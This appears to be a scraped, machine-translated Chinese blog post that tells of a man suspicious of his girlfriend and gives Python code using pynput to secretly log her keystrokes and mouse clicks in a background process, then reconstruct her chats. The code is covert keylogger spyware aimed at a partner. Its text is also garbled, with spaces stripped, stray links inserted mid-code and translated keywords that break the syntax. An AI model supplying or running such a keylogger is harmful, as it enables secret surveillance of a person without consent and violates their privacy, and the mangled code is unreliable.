当前位置: 首页 > 后端技术 > Python

用Python获取女朋友的聊天记录,解疑的一种方法

时间:2023-03-25 21:20:55 Python

就在前段时间,大学睡我上铺的哥哥在哥哥群里讨论:他发现女朋友坐在电脑前这几天下班了,不是因为工作原因。而且只要他一靠近,他就会立刻退出页面,所以他一直很疑心,问了我们群里每个单身狗。然后出现下面的对话。朋友A:你直接问。朋友B:你女朋友睡着后偷偷在电脑上查了一下。朋友C:咱也别悬着了,出事早点出来。朋友D:我觉得A不好。直接问容易惊蛇,但他在你面前这么明显,你可以和他谈谈,你们的关系是不是有什么问题?F友:咦,我离你不远吗?送你女朋友走,我去你家帮你拿聊天记录。这不是很完美吗?1.使用pynput库pynput来监控我们的键盘和鼠标。有这样功能的库有很多,比如pygame之类的游戏库,但是当我们只需要监控键盘和鼠标时,它们就太繁琐了。2.键盘监控,他的电脑常驻一个后台进程,监控键盘输入,并记录下来。代码大概可以是这样的:frompynputimportkeyboardhttps://www.niaogebiji.com/ta...defon_press(key):print(f'{key}:pushed')defon_release(key):#print(f'{key}released')ifkey==keyboard.Key.esc:#停止监听returnFalsehttps://www.niaogebiji.com/ta...withkeyboard.Listener(on_press=on_press,on_release=on_release)aslsn:lsn.join()控制台打印:3.Monitorthemousefrompynputimportmousedefon_click(x,y,button,pressed):ifbutton==mouse.Button.left:print('leftwaspressed!')elifbutton==mouse.Button.right:print('rightwaspressed!')returnFalseelse:print('midwaspressed!')收集事件直到用mouse.Listener(on_click=on_click)aslistener:listener.join释放()consoleprint:你会发现每次打印都会打印两次,因为它会在按下和抬起鼠标事件时触发。4.监控记录到日志文件frompynputimportkeyboard,mousefromloguruimportloggerfromthreadingimport线程定义日志文件logger.add('demo.log')defon_press(key):logger.debug(f'{key}:pushed')defon_release(key):#print(f'{key}released')ifkey==keyboard.Key.esc:#StoplistenerreturnFalsehttps://www.niaogebiji.com/ta...定义f1在线程1deff1():withkeyboard.Listener(on_press=on_press,on_release=on_release)aslsn:lsn.join()defon_click(x,y,button,pressed):ifbutton==mouse.Button.left:logger.debug('leftwaspressed!')elifbutton==mouse.Button.right:logger.debug('rightwaspressed!')returnFalseelse:logger.debug('midwaspressed!')定义f2forThread2deff2():#collecteventsuntilreleasedwithmouse.Listener(on_click=on_click)aslistener:listener.join()https://www.niaogebiji.com/ta...ifname=='__main__':#启动两个线程分别监听键盘和鼠标t1=Thread(target=f1)t2=Thread(target=f2)t1.start()t2.start()查看日志内容:所有的键盘操作都通过这种方式记录下来,通过这种简单的NLTK语言对日志文件的处理可以还原聊天记录。这个记录我就不给你看,私密的,但是我可以告诉你结果,嗯,其实他女朋友挺好的,看我上铺的弟弟每次都要加班,身体有点不好,不过他的脸很好,所以偷偷在网上给他买了补品,想补他~笑死了